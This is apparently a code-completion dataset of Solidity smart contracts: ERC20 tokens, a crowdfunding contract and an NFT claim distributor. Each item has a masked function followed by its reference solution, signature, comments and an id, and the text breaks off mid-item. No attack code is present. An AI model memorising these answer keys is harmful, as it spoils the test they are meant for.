contract SBIO is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SBIO"; name = "Vector Space Biosciences, Inc."; decimals = 18; totalSupply = 100000000 * 10 ** uint256(decimals); balances[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } function totalSupply() public view returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } modifier validTo(address to) { require(to != address(0)); require(to != address(this)); _; } function transferInternal(address from, address to, uint tokens) internal { balances[from] = safeSub(balances[from], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); } function transfer(address to, uint tokens) public validTo(to) returns (bool success) { transferInternal(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public validTo(to) returns (bool success) { allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); transferInternal(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function () public payable { revert(); } }
if (approve(spender, tokens)) { ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
7765
ArysumTokens
ArysumTokens
contract ArysumTokens is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ArysumTokens() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ArysumTokens is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "ARYT"; name = "Arysum Tokens"; decimals = 0; _totalSupply = 1000000; balances[0xd873696a3DDA855676777861294820F4f91A39fd] = _totalSupply; Transfer(address(0), 0xd873696a3DDA855676777861294820F4f91A39fd, _totalSupply);
function ArysumTokens() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ArysumTokens() public
31978
TSBCrowdFundingContract
safeWithdrawal
contract TSBCrowdFundingContract is NamedOwnedToken{ using SafeMath for uint256; enum CrowdSaleState {NotFinished, Success, Failure} CrowdSaleState public crowdSaleState = CrowdSaleState.NotFinished; uint public fundingGoalUSD = 200000; //Min cap uint public fundingMaxCapUSD = 500000; //Max cap uint public priceUSD = 1; //Price in USD per 1 token uint public USDDecimals = 1 ether; uint public startTime; //crowdfunding start time uint public endTime; //crowdfunding end time uint public bonusEndTime; //crowdfunding end of bonus time uint public selfDestroyTime = 2 weeks; TSBToken public tokenReward; //TSB Token to send uint public ETHPrice = 30000; //Current price of one ETH in USD cents uint public BTCPrice = 400000; //Current price of one BTC in USD cents uint public PriceDecimals = 100; uint public ETHCollected = 0; //Collected sum of ETH uint public BTCCollected = 0; //Collected sum of BTC uint public amountRaisedUSD = 0; //Collected sum in USD uint public TokenAmountToPay = 0; //Number of tokens to distribute (excluding bonus tokens) mapping(address => uint256) public balanceMapPos; struct mapStruct { address mapAddress; uint mapBalanceETH; uint mapBalanceBTC; uint bonusTokens; } mapStruct[] public balanceList; //Array of struct with information about invested sums uint public bonusCapUSD = 100000; //Bonus cap mapping(bytes32 => uint256) public bonusesMapPos; struct bonusStruct { uint balancePos; bool notempty; uint maxBonusETH; uint maxBonusBTC; uint bonusETH; uint bonusBTC; uint8 bonusPercent; } bonusStruct[] public bonusesList; //Array of struct with information about bonuses bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public { // require(_startTime >= now); SetStartTime(_startTime, durationInHours); bonusCapUSD = bonusCapUSD * USDDecimals; } function SetStartTime(uint startT, uint durationInHours) public onlyOwner { startTime = startT; bonusEndTime = startT+ 24 hours; endTime = startT + (durationInHours * 1 hours); } function assignTokenContract(address tok) public onlyOwner { tokenReward = TSBToken(tok); tokenReward.transferOwnership(address(this)); } function () public payable { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; require( withinPeriod && nonZeroPurchase && (crowdSaleState == CrowdSaleState.NotFinished)); uint bonuspos = 0; if (now <= bonusEndTime) { // lastdata = msg.data; bytes32 code = sha3(msg.data); bonuspos = bonusesMapPos[code]; } ReceiveAmount(msg.sender, msg.value, 0, now, bonuspos); } function CheckBTCtransaction() internal constant returns (bool) { return true; } function AddBTCTransactionFromArray (address[] ETHadress, uint[] BTCnum, uint[] TransTime, bytes4[] bonusdata) public onlyOwner { require(ETHadress.length == BTCnum.length); require(TransTime.length == bonusdata.length); require(ETHadress.length == bonusdata.length); for (uint i = 0; i < ETHadress.length; i++) { AddBTCTransaction(ETHadress[i], BTCnum[i], TransTime[i], bonusdata[i]); } } /** * Add transfered BTC, only owner could call * * @param ETHadress The address of ethereum wallet of sender * @param BTCnum the received amount in BTC * 10^18 * @param TransTime the original (BTC) transaction time */ function AddBTCTransaction (address ETHadress, uint BTCnum, uint TransTime, bytes4 bonusdata) public onlyOwner { require(CheckBTCtransaction()); require((TransTime >= startTime) && (TransTime <= endTime)); require(BTCnum != 0); uint bonuspos = 0; if (TransTime <= bonusEndTime) { // lastdata = bonusdata; bytes32 code = sha3(bonusdata); bonuspos = bonusesMapPos[code]; } ReceiveAmount(ETHadress, 0, BTCnum, TransTime, bonuspos); } modifier afterDeadline() { if (now >= endTime) _; } /** * Set price for ETH and BTC, only owner could call * * @param _ETHPrice ETH price in USD cents * @param _BTCPrice BTC price in USD cents */ function SetCryptoPrice(uint _ETHPrice, uint _BTCPrice) public onlyOwner { ETHPrice = _ETHPrice; BTCPrice = _BTCPrice; } /** * Convert sum in ETH plus BTC to USD * * @param ETH ETH sum in wei * @param BTC BTC sum in 10^18 */ function convertToUSD(uint ETH, uint BTC) public constant returns (uint) { uint _ETH = ETH.mul(ETHPrice); uint _BTC = BTC.mul(BTCPrice); return (_ETH+_BTC).div(PriceDecimals); } /** * Calc collected sum in USD */ function collectedSum() public constant returns (uint) { return convertToUSD(ETHCollected,BTCCollected); } /** * Check if min cap was reached (only after finish of crowdfunding) */ function checkGoalReached() public afterDeadline { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingGoalUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } else { crowdSaleState = CrowdSaleState.Failure; } } /** * Check if max cap was reached */ function checkMaxCapReached() public { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingMaxCapUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } } function ReceiveAmount(address investor, uint sumETH, uint sumBTC, uint TransTime, uint bonuspos) internal { require(investor != 0x0); uint pos = balanceMapPos[investor]; if (pos>0) { pos--; assert(pos < balanceList.length); assert(balanceList[pos].mapAddress == investor); balanceList[pos].mapBalanceETH = balanceList[pos].mapBalanceETH.add(sumETH); balanceList[pos].mapBalanceBTC = balanceList[pos].mapBalanceBTC.add(sumBTC); } else { mapStruct memory newStruct; newStruct.mapAddress = investor; newStruct.mapBalanceETH = sumETH; newStruct.mapBalanceBTC = sumBTC; newStruct.bonusTokens = 0; pos = balanceList.push(newStruct); balanceMapPos[investor] = pos; pos--; } // update state ETHCollected = ETHCollected.add(sumETH); BTCCollected = BTCCollected.add(sumBTC); checkBonus(pos, sumETH, sumBTC, TransTime, bonuspos); checkMaxCapReached(); } uint public DistributionNextPos = 0; /** * Distribute tokens to next N participants, only owner could call */ function DistributeNextNTokens(uint n) public payable onlyOwner { require(BonusesDistributed); require(DistributionNextPos<balanceList.length); uint nextpos; if (n == 0) { nextpos = balanceList.length; } else { nextpos = DistributionNextPos.add(n); if (nextpos > balanceList.length) { nextpos = balanceList.length; } } uint TokenAmountToPay_local = TokenAmountToPay; for (uint i = DistributionNextPos; i < nextpos; i++) { uint USDbalance = convertToUSD(balanceList[i].mapBalanceETH, balanceList[i].mapBalanceBTC); uint tokensCount = USDbalance.mul(priceUSD); tokenReward.mintToken(balanceList[i].mapAddress, tokensCount + balanceList[i].bonusTokens); TokenAmountToPay_local = TokenAmountToPay_local.sub(tokensCount); balanceList[i].mapBalanceETH = 0; balanceList[i].mapBalanceBTC = 0; } TokenAmountToPay = TokenAmountToPay_local; DistributionNextPos = nextpos; } function finishDistribution() onlyOwner { require ((TokenAmountToPay == 0)||(DistributionNextPos >= balanceList.length)); // tokenReward.finishMinting(); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Withdraw the funds * * Checks to see if goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline {<FILL_FUNCTION_BODY> } /** * If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end * In this case the token distribution or sum refund will be performed in mannual */ function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Add a new bonus code, only owner could call */ function AddBonusToListFromArray(bytes32[] bonusCode, uint[] ETHsumInFinney, uint[] BTCsumInFinney) public onlyOwner { require(bonusCode.length == ETHsumInFinney.length); require(bonusCode.length == BTCsumInFinney.length); for (uint i = 0; i < bonusCode.length; i++) { AddBonusToList(bonusCode[i], ETHsumInFinney[i], BTCsumInFinney[i] ); } } /** * Add a new bonus code, only owner could call */ function AddBonusToList(bytes32 bonusCode, uint ETHsumInFinney, uint BTCsumInFinney) public onlyOwner { uint pos = bonusesMapPos[bonusCode]; if (pos > 0) { pos -= 1; bonusesList[pos].maxBonusETH = ETHsumInFinney * 1 finney; bonusesList[pos].maxBonusBTC = BTCsumInFinney * 1 finney; } else { bonusStruct memory newStruct; newStruct.balancePos = 0; newStruct.notempty = false; newStruct.maxBonusETH = ETHsumInFinney * 1 finney; newStruct.maxBonusBTC = BTCsumInFinney * 1 finney; newStruct.bonusETH = 0; newStruct.bonusBTC = 0; newStruct.bonusPercent = 20; pos = bonusesList.push(newStruct); bonusesMapPos[bonusCode] = pos; } } bool public BonusesDistributed = false; uint public BonusCalcPos = 0; // bytes public lastdata; function checkBonus(uint newBalancePos, uint sumETH, uint sumBTC, uint TransTime, uint pos) internal { if (pos > 0) { pos--; if (!bonusesList[pos].notempty) { bonusesList[pos].balancePos = newBalancePos; bonusesList[pos].notempty = true; } else { if (bonusesList[pos].balancePos != newBalancePos) return; } bonusesList[pos].bonusETH = bonusesList[pos].bonusETH.add(sumETH); // if (bonusesList[pos].bonusETH > bonusesList[pos].maxBonusETH) // bonusesList[pos].bonusETH = bonusesList[pos].maxBonusETH; bonusesList[pos].bonusBTC = bonusesList[pos].bonusBTC.add(sumBTC); // if (bonusesList[pos].bonusBTC > bonusesList[pos].maxBonusBTC) // bonusesList[pos].bonusBTC = bonusesList[pos].maxBonusBTC; } } /** * Calc the number of bonus tokens for N next bonus participants, only owner could call */ function calcNextNBonuses(uint N) public onlyOwner { require(crowdSaleState == CrowdSaleState.Success); require(!BonusesDistributed); uint nextPos = BonusCalcPos + N; if (nextPos > bonusesList.length) nextPos = bonusesList.length; uint bonusCapUSD_local = bonusCapUSD; for (uint i = BonusCalcPos; i < nextPos; i++) { if ((bonusesList[i].notempty) && (bonusesList[i].balancePos < balanceList.length)) { uint maxbonus = convertToUSD(bonusesList[i].maxBonusETH, bonusesList[i].maxBonusBTC); uint bonus = convertToUSD(bonusesList[i].bonusETH, bonusesList[i].bonusBTC); if (maxbonus < bonus) bonus = maxbonus; bonus = bonus.mul(priceUSD); if (bonusCapUSD_local >= bonus) { bonusCapUSD_local = bonusCapUSD_local - bonus; } else { bonus = bonusCapUSD_local; bonusCapUSD_local = 0; } bonus = bonus.mul(bonusesList[i].bonusPercent) / 100; balanceList[bonusesList[i].balancePos].bonusTokens = bonus; if (bonusCapUSD_local == 0) { BonusesDistributed = true; break; } } } bonusCapUSD = bonusCapUSD_local; BonusCalcPos = nextPos; if (nextPos >= bonusesList.length) { BonusesDistributed = true; } } }
contract TSBCrowdFundingContract is NamedOwnedToken{ using SafeMath for uint256; enum CrowdSaleState {NotFinished, Success, Failure} CrowdSaleState public crowdSaleState = CrowdSaleState.NotFinished; uint public fundingGoalUSD = 200000; //Min cap uint public fundingMaxCapUSD = 500000; //Max cap uint public priceUSD = 1; //Price in USD per 1 token uint public USDDecimals = 1 ether; uint public startTime; //crowdfunding start time uint public endTime; //crowdfunding end time uint public bonusEndTime; //crowdfunding end of bonus time uint public selfDestroyTime = 2 weeks; TSBToken public tokenReward; //TSB Token to send uint public ETHPrice = 30000; //Current price of one ETH in USD cents uint public BTCPrice = 400000; //Current price of one BTC in USD cents uint public PriceDecimals = 100; uint public ETHCollected = 0; //Collected sum of ETH uint public BTCCollected = 0; //Collected sum of BTC uint public amountRaisedUSD = 0; //Collected sum in USD uint public TokenAmountToPay = 0; //Number of tokens to distribute (excluding bonus tokens) mapping(address => uint256) public balanceMapPos; struct mapStruct { address mapAddress; uint mapBalanceETH; uint mapBalanceBTC; uint bonusTokens; } mapStruct[] public balanceList; //Array of struct with information about invested sums uint public bonusCapUSD = 100000; //Bonus cap mapping(bytes32 => uint256) public bonusesMapPos; struct bonusStruct { uint balancePos; bool notempty; uint maxBonusETH; uint maxBonusBTC; uint bonusETH; uint bonusBTC; uint8 bonusPercent; } bonusStruct[] public bonusesList; //Array of struct with information about bonuses bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public { // require(_startTime >= now); SetStartTime(_startTime, durationInHours); bonusCapUSD = bonusCapUSD * USDDecimals; } function SetStartTime(uint startT, uint durationInHours) public onlyOwner { startTime = startT; bonusEndTime = startT+ 24 hours; endTime = startT + (durationInHours * 1 hours); } function assignTokenContract(address tok) public onlyOwner { tokenReward = TSBToken(tok); tokenReward.transferOwnership(address(this)); } function () public payable { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; require( withinPeriod && nonZeroPurchase && (crowdSaleState == CrowdSaleState.NotFinished)); uint bonuspos = 0; if (now <= bonusEndTime) { // lastdata = msg.data; bytes32 code = sha3(msg.data); bonuspos = bonusesMapPos[code]; } ReceiveAmount(msg.sender, msg.value, 0, now, bonuspos); } function CheckBTCtransaction() internal constant returns (bool) { return true; } function AddBTCTransactionFromArray (address[] ETHadress, uint[] BTCnum, uint[] TransTime, bytes4[] bonusdata) public onlyOwner { require(ETHadress.length == BTCnum.length); require(TransTime.length == bonusdata.length); require(ETHadress.length == bonusdata.length); for (uint i = 0; i < ETHadress.length; i++) { AddBTCTransaction(ETHadress[i], BTCnum[i], TransTime[i], bonusdata[i]); } } /** * Add transfered BTC, only owner could call * * @param ETHadress The address of ethereum wallet of sender * @param BTCnum the received amount in BTC * 10^18 * @param TransTime the original (BTC) transaction time */ function AddBTCTransaction (address ETHadress, uint BTCnum, uint TransTime, bytes4 bonusdata) public onlyOwner { require(CheckBTCtransaction()); require((TransTime >= startTime) && (TransTime <= endTime)); require(BTCnum != 0); uint bonuspos = 0; if (TransTime <= bonusEndTime) { // lastdata = bonusdata; bytes32 code = sha3(bonusdata); bonuspos = bonusesMapPos[code]; } ReceiveAmount(ETHadress, 0, BTCnum, TransTime, bonuspos); } modifier afterDeadline() { if (now >= endTime) _; } /** * Set price for ETH and BTC, only owner could call * * @param _ETHPrice ETH price in USD cents * @param _BTCPrice BTC price in USD cents */ function SetCryptoPrice(uint _ETHPrice, uint _BTCPrice) public onlyOwner { ETHPrice = _ETHPrice; BTCPrice = _BTCPrice; } /** * Convert sum in ETH plus BTC to USD * * @param ETH ETH sum in wei * @param BTC BTC sum in 10^18 */ function convertToUSD(uint ETH, uint BTC) public constant returns (uint) { uint _ETH = ETH.mul(ETHPrice); uint _BTC = BTC.mul(BTCPrice); return (_ETH+_BTC).div(PriceDecimals); } /** * Calc collected sum in USD */ function collectedSum() public constant returns (uint) { return convertToUSD(ETHCollected,BTCCollected); } /** * Check if min cap was reached (only after finish of crowdfunding) */ function checkGoalReached() public afterDeadline { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingGoalUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } else { crowdSaleState = CrowdSaleState.Failure; } } /** * Check if max cap was reached */ function checkMaxCapReached() public { amountRaisedUSD = collectedSum(); if (amountRaisedUSD >= (fundingMaxCapUSD * USDDecimals) ){ crowdSaleState = CrowdSaleState.Success; TokenAmountToPay = amountRaisedUSD; GoalReached(owner, amountRaisedUSD); } } function ReceiveAmount(address investor, uint sumETH, uint sumBTC, uint TransTime, uint bonuspos) internal { require(investor != 0x0); uint pos = balanceMapPos[investor]; if (pos>0) { pos--; assert(pos < balanceList.length); assert(balanceList[pos].mapAddress == investor); balanceList[pos].mapBalanceETH = balanceList[pos].mapBalanceETH.add(sumETH); balanceList[pos].mapBalanceBTC = balanceList[pos].mapBalanceBTC.add(sumBTC); } else { mapStruct memory newStruct; newStruct.mapAddress = investor; newStruct.mapBalanceETH = sumETH; newStruct.mapBalanceBTC = sumBTC; newStruct.bonusTokens = 0; pos = balanceList.push(newStruct); balanceMapPos[investor] = pos; pos--; } // update state ETHCollected = ETHCollected.add(sumETH); BTCCollected = BTCCollected.add(sumBTC); checkBonus(pos, sumETH, sumBTC, TransTime, bonuspos); checkMaxCapReached(); } uint public DistributionNextPos = 0; /** * Distribute tokens to next N participants, only owner could call */ function DistributeNextNTokens(uint n) public payable onlyOwner { require(BonusesDistributed); require(DistributionNextPos<balanceList.length); uint nextpos; if (n == 0) { nextpos = balanceList.length; } else { nextpos = DistributionNextPos.add(n); if (nextpos > balanceList.length) { nextpos = balanceList.length; } } uint TokenAmountToPay_local = TokenAmountToPay; for (uint i = DistributionNextPos; i < nextpos; i++) { uint USDbalance = convertToUSD(balanceList[i].mapBalanceETH, balanceList[i].mapBalanceBTC); uint tokensCount = USDbalance.mul(priceUSD); tokenReward.mintToken(balanceList[i].mapAddress, tokensCount + balanceList[i].bonusTokens); TokenAmountToPay_local = TokenAmountToPay_local.sub(tokensCount); balanceList[i].mapBalanceETH = 0; balanceList[i].mapBalanceBTC = 0; } TokenAmountToPay = TokenAmountToPay_local; DistributionNextPos = nextpos; } function finishDistribution() onlyOwner { require ((TokenAmountToPay == 0)||(DistributionNextPos >= balanceList.length)); // tokenReward.finishMinting(); tokenReward.transferOwnership(owner); selfdestruct(owner); } <FILL_FUNCTION> /** * If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end * In this case the token distribution or sum refund will be performed in mannual */ function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Add a new bonus code, only owner could call */ function AddBonusToListFromArray(bytes32[] bonusCode, uint[] ETHsumInFinney, uint[] BTCsumInFinney) public onlyOwner { require(bonusCode.length == ETHsumInFinney.length); require(bonusCode.length == BTCsumInFinney.length); for (uint i = 0; i < bonusCode.length; i++) { AddBonusToList(bonusCode[i], ETHsumInFinney[i], BTCsumInFinney[i] ); } } /** * Add a new bonus code, only owner could call */ function AddBonusToList(bytes32 bonusCode, uint ETHsumInFinney, uint BTCsumInFinney) public onlyOwner { uint pos = bonusesMapPos[bonusCode]; if (pos > 0) { pos -= 1; bonusesList[pos].maxBonusETH = ETHsumInFinney * 1 finney; bonusesList[pos].maxBonusBTC = BTCsumInFinney * 1 finney; } else { bonusStruct memory newStruct; newStruct.balancePos = 0; newStruct.notempty = false; newStruct.maxBonusETH = ETHsumInFinney * 1 finney; newStruct.maxBonusBTC = BTCsumInFinney * 1 finney; newStruct.bonusETH = 0; newStruct.bonusBTC = 0; newStruct.bonusPercent = 20; pos = bonusesList.push(newStruct); bonusesMapPos[bonusCode] = pos; } } bool public BonusesDistributed = false; uint public BonusCalcPos = 0; // bytes public lastdata; function checkBonus(uint newBalancePos, uint sumETH, uint sumBTC, uint TransTime, uint pos) internal { if (pos > 0) { pos--; if (!bonusesList[pos].notempty) { bonusesList[pos].balancePos = newBalancePos; bonusesList[pos].notempty = true; } else { if (bonusesList[pos].balancePos != newBalancePos) return; } bonusesList[pos].bonusETH = bonusesList[pos].bonusETH.add(sumETH); // if (bonusesList[pos].bonusETH > bonusesList[pos].maxBonusETH) // bonusesList[pos].bonusETH = bonusesList[pos].maxBonusETH; bonusesList[pos].bonusBTC = bonusesList[pos].bonusBTC.add(sumBTC); // if (bonusesList[pos].bonusBTC > bonusesList[pos].maxBonusBTC) // bonusesList[pos].bonusBTC = bonusesList[pos].maxBonusBTC; } } /** * Calc the number of bonus tokens for N next bonus participants, only owner could call */ function calcNextNBonuses(uint N) public onlyOwner { require(crowdSaleState == CrowdSaleState.Success); require(!BonusesDistributed); uint nextPos = BonusCalcPos + N; if (nextPos > bonusesList.length) nextPos = bonusesList.length; uint bonusCapUSD_local = bonusCapUSD; for (uint i = BonusCalcPos; i < nextPos; i++) { if ((bonusesList[i].notempty) && (bonusesList[i].balancePos < balanceList.length)) { uint maxbonus = convertToUSD(bonusesList[i].maxBonusETH, bonusesList[i].maxBonusBTC); uint bonus = convertToUSD(bonusesList[i].bonusETH, bonusesList[i].bonusBTC); if (maxbonus < bonus) bonus = maxbonus; bonus = bonus.mul(priceUSD); if (bonusCapUSD_local >= bonus) { bonusCapUSD_local = bonusCapUSD_local - bonus; } else { bonus = bonusCapUSD_local; bonusCapUSD_local = 0; } bonus = bonus.mul(bonusesList[i].bonusPercent) / 100; balanceList[bonusesList[i].balancePos].bonusTokens = bonus; if (bonusCapUSD_local == 0) { BonusesDistributed = true; break; } } } bonusCapUSD = bonusCapUSD_local; BonusCalcPos = nextPos; if (nextPos >= bonusesList.length) { BonusesDistributed = true; } } }
require(crowdSaleState == CrowdSaleState.Failure); uint pos = balanceMapPos[msg.sender]; require((pos>0)&&(pos<=balanceList.length)); pos--; uint amount = balanceList[pos].mapBalanceETH; balanceList[pos].mapBalanceETH = 0; if (amount > 0) { msg.sender.transfer(amount); FundTransfer(msg.sender, amount, false); }
function safeWithdrawal() public afterDeadline
/** * Withdraw the funds * * Checks to see if goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline
65246
ERNEDistribution
claim
contract ERNEDistribution { // Signature Address address private signer; // ECDSA Address using ECDSA for address; // Users Count initialzed to zero at deployment uint256 public count = 0; // NFT token address address public NFT; // NFT token ID; uint256 public tokenId; // Start Time will be time of deployment uint256 public strTime; // Contract owner address address public owner; // ERNE NFT Holder Address address public erc1155Holder; // Signature Message Hash mapping(bytes32 => bool)public msgHash; //user claimstatus mapping(address => bool) public claimStatus; constructor (address _signer, address _nft, uint256 _tokenid, address _erc1155Holder) public{ // Initialization signer = _signer; NFT = _nft; tokenId = _tokenid; strTime = now; owner = msg.sender; erc1155Holder = _erc1155Holder; } /** * @notice claim ERNE tokens. * * Only for 20 days from the date of deployment * * Only for first 150,000 users * * First 10,000 Claimers will get ERNE NFT * @param tokenAddr The ERNE token address. * @param amount The amount of token to transfer. * @param deadline The deadline for signature. * @param signature The signature created with 'signer' */ function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public {<FILL_FUNCTION_BODY> } /** * @dev Ethereum Signed Message, created from `hash` * @dev Returns the address that signed a hashed message (`hash`) with `signature`. */ function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress) { bytes32 